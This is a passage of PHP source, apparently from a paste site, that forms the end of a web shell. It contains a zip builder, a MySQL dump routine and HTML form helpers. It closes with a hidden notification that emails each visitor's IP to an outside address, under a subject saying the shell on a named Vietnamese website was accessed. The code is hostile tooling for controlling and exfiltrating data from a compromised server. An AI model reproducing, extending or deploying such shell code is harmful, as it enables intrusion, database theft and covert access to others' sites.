  2125.         $cdrec .= $name;
  2126.  
  2127.         $this -> ctrl_dir[] = $cdrec;
  2128.     }
  2129.  
  2130.     function file() {
  2131.         $data    = implode('', $this -> datasec);
  2132.         $ctrldir = implode('', $this -> ctrl_dir);
  2133.         return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
  2134.     }
  2135. }
  2136.  
  2137. // Dump mysql
  2138. function sqldumptable($table, $fp=0) {
  2139.     $tabledump = "DROP TABLE IF EXISTS $table;\n";
  2140.     $tabledump .= "CREATE TABLE $table (\n";
  2141.  
  2142.     $firstfield=1;
  2143.  
  2144.     $fields = q("SHOW FIELDS FROM $table");
  2145.     while ($field = mysql_fetch_array($fields)) {
  2146.         if (!$firstfield) {
  2147.             $tabledump .= ",\n";
  2148.         } else {
  2149.             $firstfield=0;
  2150.         }
  2151.         $tabledump .= "   $field[Field] $field[Type]";
  2152.         if (!empty($field["Default"])) {
  2153.             $tabledump .= " DEFAULT '$field[Default]'";
  2154.         }
  2155.         if ($field['Null'] != "YES") {
  2156.             $tabledump .= " NOT NULL";
  2157.         }
  2158.         if ($field['Extra'] != "") {
  2159.             $tabledump .= " $field[Extra]";
  2160.         }
  2161.     }
  2162.     fr($fields);
  2163.  
  2164.     $keys = q("SHOW KEYS FROM $table");
  2165.     while ($key = mysql_fetch_array($keys)) {
  2166.         $kname=$key['Key_name'];
  2167.         if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
  2168.             $kname="UNIQUE|$kname";
  2169.         }
  2170.         if(!is_array($index[$kname])) {
  2171.             $index[$kname] = array();
  2172.         }
  2173.         $index[$kname][] = $key['Column_name'];
  2174.     }
  2175.     fr($keys);
  2176.  
  2177.     while(list($kname, $columns) = @each($index)) {
  2178.         $tabledump .= ",\n";
  2179.         $colnames=implode($columns,",");
  2180.  
  2181.         if ($kname == "PRIMARY") {
  2182.             $tabledump .= "   PRIMARY KEY ($colnames)";
  2183.         } else {
  2184.             if (substr($kname,0,6) == "UNIQUE") {
  2185.                 $kname=substr($kname,7);
  2186.             }
  2187.             $tabledump .= "   KEY $kname ($colnames)";
  2188.         }
  2189.     }
  2190.  
  2191.     $tabledump .= "\n);\n\n";
  2192.     if ($fp) {
  2193.         fwrite($fp,$tabledump);
  2194.     } else {
  2195.         echo $tabledump;
  2196.     }
  2197.  
  2198.     $rows = q("SELECT * FROM $table");
  2199.     $numfields = mysql_num_fields($rows);
  2200.     while ($row = mysql_fetch_array($rows)) {
  2201.         $tabledump = "INSERT INTO $table VALUES(";
  2202.  
  2203.         $fieldcounter=-1;
  2204.         $firstfield=1;
  2205.         while (++$fieldcounter<$numfields) {
  2206.             if (!$firstfield) {
  2207.                 $tabledump.=", ";
  2208.             } else {
  2209.                 $firstfield=0;
  2210.             }
  2211.  
  2212.             if (!isset($row[$fieldcounter])) {
  2213.                 $tabledump .= "NULL";
  2214.             } else {
  2215.                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
  2216.             }
  2217.         }
  2218.  
  2219.         $tabledump .= ");\n";
  2220.  
  2221.         if ($fp) {
  2222.             fwrite($fp,$tabledump);
  2223.         } else {
  2224.             echo $tabledump;
  2225.         }
  2226.     }
  2227.     fr($rows);
  2228.     if ($fp) {
  2229.         fwrite($fp,"\n");
  2230.     } else {
  2231.         echo "\n";
  2232.     }
  2233. }
  2234.  
  2235. function ue($str){
  2236.     return urlencode($str);
  2237. }
  2238.  
  2239. function p($str){
  2240.     echo $str."\n";
  2241. }
  2242.  
  2243. function tbhead() {
  2244.     p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
  2245. }
  2246. function tbfoot(){
  2247.     p('</table>');
  2248. }
  2249.  
  2250. function makehide($name,$value=''){
  2251.     p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
  2252. }
  2253.  
  2254. function makeinput($arg = array()){
  2255.     $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
  2256.     $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
  2257.     !$arg['type'] && $arg['type'] = 'text';
  2258.     $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
  2259.     $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
  2260.     if ($arg['newline']) {
  2261.         p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
  2262.     } else {
  2263.         p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
  2264.     }
  2265. }
  2266.  
  2267. function makeselect($arg = array()){
  2268.     if ($arg['onchange']) {
  2269.         $onchange = 'onchange="'.$arg['onchange'].'"';
  2270.     }
  2271.     $arg['title'] = $arg['title'] ? $arg['title'] : '';
  2272.     if ($arg['newline']) p('<p>');
  2273.     p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
  2274.         if (is_array($arg['option'])) {
  2275.             foreach ($arg['option'] as $key=>$value) {
  2276.                 if ($arg['selected']==$key) {
  2277.                     p("<option value=\"$key\" selected>$value</option>");
  2278.                 } else {
  2279.                     p("<option value=\"$key\">$value</option>");
  2280.                 }
  2281.             }
  2282.         }
  2283.     p("</select>");
  2284.     if ($arg['newline']) p('</p>');
  2285. }
  2286. function formhead($arg = array()) {
  2287.     !$arg['method'] && $arg['method'] = 'post';
  2288.     !$arg['action'] && $arg['action'] = $self;
  2289.     $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
  2290.     !$arg['name'] && $arg['name'] = 'form1';
  2291.     p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
  2292.     if ($arg['title']) {
  2293.         p('<h2>'.$arg['title'].' &raquo;</h2>');
  2294.     }
  2295. }
  2296.  
  2297. function maketext($arg = array()){
  2298.     !$arg['cols'] && $arg['cols'] = 100;
  2299.     !$arg['rows'] && $arg['rows'] = 25;
  2300.     $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
  2301.     p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
  2302. }
  2303.  
  2304. function formfooter($name = ''){
  2305.     !$name && $name = 'submit';
  2306.     p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
  2307.     p('</form>');
  2308. }
  2309.  
  2310. function formfoot(){
  2311.     p('</form>');
  2312. }
  2313.  
  2314. // Exit
  2315. function pr($a) {
  2316.     echo '<pre>';
  2317.     print_r($a);
  2318.     echo '</pre>';
  2319. }
  2320.  
  2321. // Send mail
  2322. $email = '[email protected]' ;
  2323. $emailto = '[email protected]';
  2324. $subject = '[Thong bao] IP vao Shell o simthehanoi.vn';
  2325. $message = $_SERVER['REMOTE_ADDR'];
  2326. mail($emailto, $subject, $message, "From:" . $email);
  2327.  
  2328. ?>
Add Comment
Please, Sign In to add comment